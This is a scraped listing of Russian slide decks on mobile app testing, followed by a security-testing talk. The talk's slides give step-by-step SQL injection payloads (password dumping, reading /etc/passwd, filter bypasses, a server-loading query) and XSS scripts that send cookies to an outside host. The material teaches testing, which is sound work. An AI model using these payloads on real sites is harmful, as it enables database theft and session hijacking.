"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img35.jpg",
"description": "Установка/обновление"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img36.jpg",
"description": "Первый запуск"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img37.jpg",
"description": "Первый запуск"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img38.jpg",
"description": "Нормы и рекомендации"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img39.jpg",
"description": "Экран"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img40.jpg",
"description": "Экран"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img41.jpg",
"description": "Экран"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img42.jpg",
"description": "Экран"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img43.jpg",
"description": "Экран"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img44.jpg",
"description": "Датчики и устройства ввода"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img45.jpg",
"description": "Датчики и устройства ввода"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img46.jpg",
"description": "Датчики и устройства ввода"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img47.jpg",
"description": "Датчики и устройства ввода"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img48.jpg",
"description": "Поля ввода"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img49.jpg",
"description": "Поля ввода"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img50.jpg",
"description": "Поля ввода"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img51.jpg",
"description": "Поля ввода"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img52.jpg",
"description": "Поля ввода"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img53.jpg",
"description": "Работа с файлами"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img54.jpg",
"description": "Работа с файлами"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img55.jpg",
"description": "Работа с файлами"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img56.jpg",
"description": "Работа с памятью"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img57.jpg",
"description": "Сеть"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img58.jpg",
"description": "Сеть"
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img59.jpg",
"description": "Сеть"
},
{
"slide_number": "61",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img60.jpg",
"description": "Сеть"
},
{
"slide_number": "62",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img61.jpg",
"description": "Сеть"
},
{
"slide_number": "63",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img62.jpg",
"description": "Сеть"
},
{
"slide_number": "64",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img63.jpg",
"description": "Сеть"
},
{
"slide_number": "65",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img64.jpg",
"description": "Звуки"
},
{
"slide_number": "66",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img65.jpg",
"description": "Звуки"
},
{
"slide_number": "67",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img66.jpg",
"description": "Звуки"
},
{
"slide_number": "68",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img67.jpg",
"description": "Операторы"
},
{
"slide_number": "69",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img68.jpg",
"description": "Прерывания"
},
{
"slide_number": "70",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img69.jpg",
"description": "Прерывания"
},
{
"slide_number": "71",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img70.jpg",
"description": "Прерывания"
},
{
"slide_number": "72",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img71.jpg",
"description": "Прерывания"
},
{
"slide_number": "73",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img72.jpg",
"description": "Позиционирование"
},
{
"slide_number": "74",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img73.jpg",
"description": "Позиционирование"
},
{
"slide_number": "75",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img74.jpg",
"description": "Позиционирование"
},
{
"slide_number": "76",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img75.jpg",
"description": "Позиционирование"
},
{
"slide_number": "77",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img76.jpg",
"description": "Стресс-тестирование"
},
{
"slide_number": "78",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img77.jpg",
"description": "Стресс-тестирование"
},
{
"slide_number": "79",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img78.jpg",
"description": "Стресс-тестирование"
},
{
"slide_number": "80",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img79.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №80"
},
{
"slide_number": "81",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img80.jpg",
"description": "Спасибо за внимание! Вопросы?"
}
] |
https://mypresentation.ru/presentation/99632 | Виртуализация и автоматизация тестирования мобильных приложений | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img0.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img1.jpg",
"description": "О себе"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img2.jpg",
"description": "О чем расскажу и что покажу Часть №1 Проект Проблема Виртуализация как решение Часть №2 Автоматизация как решение Real-time автоматизация Native Android приложения"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img3.jpg",
"description": "Часть №1"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img4.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img5.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img6.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img7.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img8.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img9.jpg",
"description": "Платформы"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img10.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img11.jpg",
"description": "И даже такие"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img12.jpg",
"description": "Что делать?"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img13.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img14.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img15.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img16.jpg",
"description": "Архитектура"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img17.jpg",
"description": "ДЕМО"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img18.jpg",
"description": "Какие плюсы? Очень легко в использовании Огромный выбор устройств Место для хранения тест кейсов Автотесты для новичков"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img19.jpg",
"description": "Минусы Нельзя проверить продвинутые сценарии GPS Network issues 10$ - 20$/час"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img20.jpg",
"description": "Выводы Можно использовать, если нет нужного устройства под рукой Использовать для автотестов дорого"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img21.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img22.jpg",
"description": "Часть №2"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img23.jpg",
"description": "Mobile Автоматизация Cloud – $$$ QTP, TestComplete – $$$ Meux - $$$"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img24.jpg",
"description": "UI Automation"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img25.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img26.jpg",
"description": "Selenium - WebDriver"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img27.jpg",
"description": "Android WebDriver WebDriver driver = new AndroidDriver();"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img28.jpg",
"description": "Android NativeDriver AndroidNativeDriver driver = new AndroidNativeDriverBuilder()"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img29.jpg",
"description": "Robotium"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img30.jpg",
"description": "LIVE"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img31.jpg",
"description": "Билд Сервер"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/551cc0936e90e99d58880a9a836304e6/img32.jpg",
"description": "Виртуализация и автоматизация тестирования мобильных приложений, слайд №33"
}
] |
https://mypresentation.ru/presentation/99633 | Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co. | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img0.jpg",
"description": "Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co."
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img1.jpg",
"description": "Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не могут хранить конфиденциальную информацию в БД. 80% Вебмастеров не обновляют opensource продукты вовремя. 99,9% сайтов, которые имеют уязвимость, имеют еще несколько уязвимостей. 48% серверов имеют уязвимости на уровне операционной системы и приложений."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img2.jpg",
"description": "SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img3.jpg",
"description": "Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co., слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img4.jpg",
"description": "Что может получить злоумышленник"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img5.jpg",
"description": "Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co., слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img6.jpg",
"description": "Архитектура уязвимости типа SQL Injection"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img7.jpg",
"description": "Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/mysite/www/htdocs/include/lib/news.php Или Видим ту же самую страницу что и по ссылке http://www.site.com/?id=1"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img8.jpg",
"description": "Почему так происходит? query = \"SELECT * FROM news WHERE id = '\" + id + \"'\" SELECT * FROM news WHERE id = '1''"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img9.jpg",
"description": "Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу 2) site.com/index.php?id=1+and+1=1(Выводит страницу 1) Использование сортировки в запросе: site.com/index.php?showthread=285+ORDER+BY+1--+ Подстановка бессмысленной информации в запрос site.com/index.php?id=1 anything (Выводит сообщение об ошибке)"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img10.jpg",
"description": "Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id = '1' SELECT title,text FROM news WHERE id = '1' UNION SELECT user,password FROM users"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img11.jpg",
"description": "Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’-- Вывод информации в отчете об ошибках: site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- Duplicate entry '5.0.45' for key 1"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img12.jpg",
"description": "Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) – Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img13.jpg",
"description": "На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img14.jpg",
"description": "Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов Подбор количества столбцов Определение вывода на экран Получение информации о таблицах Получение информации о колонках в требуемой таблице Получение данных из таблицы и вывод на экран"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img15.jpg",
"description": "Ошибки характерные для разных видов баз данных"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img16.jpg",
"description": "Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой запрос www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 -- если появилась ошибка, то увеличиваем количество колонок на одну www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 -- и так пока не исчезнет ошибка и появится пустая страница"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img17.jpg",
"description": "2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится ошибка, значит столбцов меньше 9999 Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда: www.site.com/index.php?id=-1+order+by+4-- (ошибки не будет) www.site.com/index.php?id=-1+order+by+5-- (ошибка есть)"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img18.jpg",
"description": "Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого подставим вместо одного из null – произвольный набор символов, в нашем случае «111» www.site.com/index.php?id=-1+union+select+null,111,null,null--"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img19.jpg",
"description": "Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null-- Для определения версии используется функция version() www.site.com/index.php?id=-1+union+select+null,user(),null,null--"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img20.jpg",
"description": "Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img21.jpg",
"description": "Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES-- Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img22.jpg",
"description": "Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER, что требуется для получения информации о колонках: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS-- Таким обрfзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добавляя в него оператор WHERE: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'-- Появится имя первой колонки в таблице user и далее добавляя LIMIT+OFFSET узнаём все колонки."
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img23.jpg",
"description": "Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error at or near \"user\" at character 122 http://www.paulschou.com/tools/xlate/ www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)| |chr(115)||chr(101)||chr(114)--"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img24.jpg",
"description": "Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img25.jpg",
"description": "Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и «/**/» SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#‘ или SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#' Использование символов табуляции: %09 – табуляция %0A – символ новой строка %0D – возврат каретки %0B – вертикальная табуляция %0C – символ новой страницы http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%0 9WHERE%09login='admin'#"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img26.jpg",
"description": "Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно объединять 2 и более колонки разделяя их спец символом www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user-- Мы увидим запись типа Login:email"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img27.jpg",
"description": "Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' – %"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img28.jpg",
"description": "Демонстрация примеров Демонстрация примеров"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img29.jpg",
"description": "Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения атак типа SQL Injection SQL checker – анализатор возможности внедрения SQL кода"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img30.jpg",
"description": "XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты."
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img31.jpg",
"description": "XSS"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img32.jpg",
"description": "XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это сделать? Внедрить куда-нибудь фрагмент кода типа <script>...</script> <a onmouseover=\"...\"/> <img src=\"javascript:...\"/>"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img33.jpg",
"description": "Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям Пассивный XSS Скрипт передается системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу."
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img34.jpg",
"description": "Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража аутентификационных данных добавление обработчика события onsubmit к существующей форме добавление формы с просьбой ввести пароль Перенаправление пользователя на страницы злоумышленников DDOS атаки"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img35.jpg",
"description": "Метод обнаружения /?id=\"><script>alert(1)</script> HTML - код страницы примет вид .. <font size = \"\"><script>alert(1)</script>\"... В результате браузер выполнит скрипт."
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img36.jpg",
"description": "Типичный случай Самая распространенная разновидность XSS: \"><script>alert()</script> Вся суть в \"> После добавления к форме \"><script>alert()</script> какой-то переменной присваивается значение поля. Переменная обрабатывается, \"> закрывает скрипт и выполняет <script>alert()</script>"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img37.jpg",
"description": "Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co., слайд №38"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img38.jpg",
"description": "Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--\"<XSSTEST>=&{()} Далее открываем HTML страницы, ищем слово \"XSSTEST\" и смотрим на прилегающие к нему символы. Если символы <> остались – это первый признак наличия уязвимости Если символы ,\"'\\ остались такими, как были введены – это второй признак уязвимости (возможно использование дополнительных символов в последующей XSS атаке) Если в HTML, вы не обнаружили <> - это признак отсутствия фильтрации. Если открыв HTML вы обнаружили, что <> заменены на другие символы – фильтр функционирует нормально."
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img39.jpg",
"description": "Практика Допустим фильтр экранирует <> В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на удаление <script>,<> и . Для проверки используем конструкцию типа <testxss555> и проверяем, если фильтр не удалил запись - можно составить XSS-скрипт. К примеру вот так: <sc<script>ript>alert()</sc</script>ript>"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img40.jpg",
"description": "Автозакрывающиеся скобки: >>>><<script бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов: Бывает что фильтр дополняет скрипт, к примеру вот этим : \"> http://site.ru/trye.asp?sessionID=\"><IMG%20SRC=\"javascript:alert(); Фильтр проверяет, что ничего опасного в <IMG%20SRC=\"javascript:alert(); нет, закрывает тег и тем самым выполняет вредоносный скрипт."
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img41.jpg",
"description": "Кража Cookies До этого мы рассматривали скрипты типа: <script>alert (' Test ')</script> javascript:alert (' Test ')/ javascript:alert(' Test ')/1.jpg и так далее.. Теперь рассмотрим следующий скрипт: <script> img = new Image(); img.src = \"http://test.com/s/Hack.gif?\"+document.cookie; </script> В данном виде скрипт перехватывает cookies пользователя."
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img42.jpg",
"description": "Как воспользоваться этим скриптом? http://site.ru/free?p='><script>img=new Image();img.src=\"http://test.com/s/Hack.gif?\"+document.cookie;\"+document.cookie;</script> http://site.ru/free?p='><script src=http://test.com/script/js.js></script> При этом файл js.js содержит: img=new Image();img.src=\"http://test.com/s/Hack.gif?\"+document.cookie; этот способ более надёжен."
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img43.jpg",
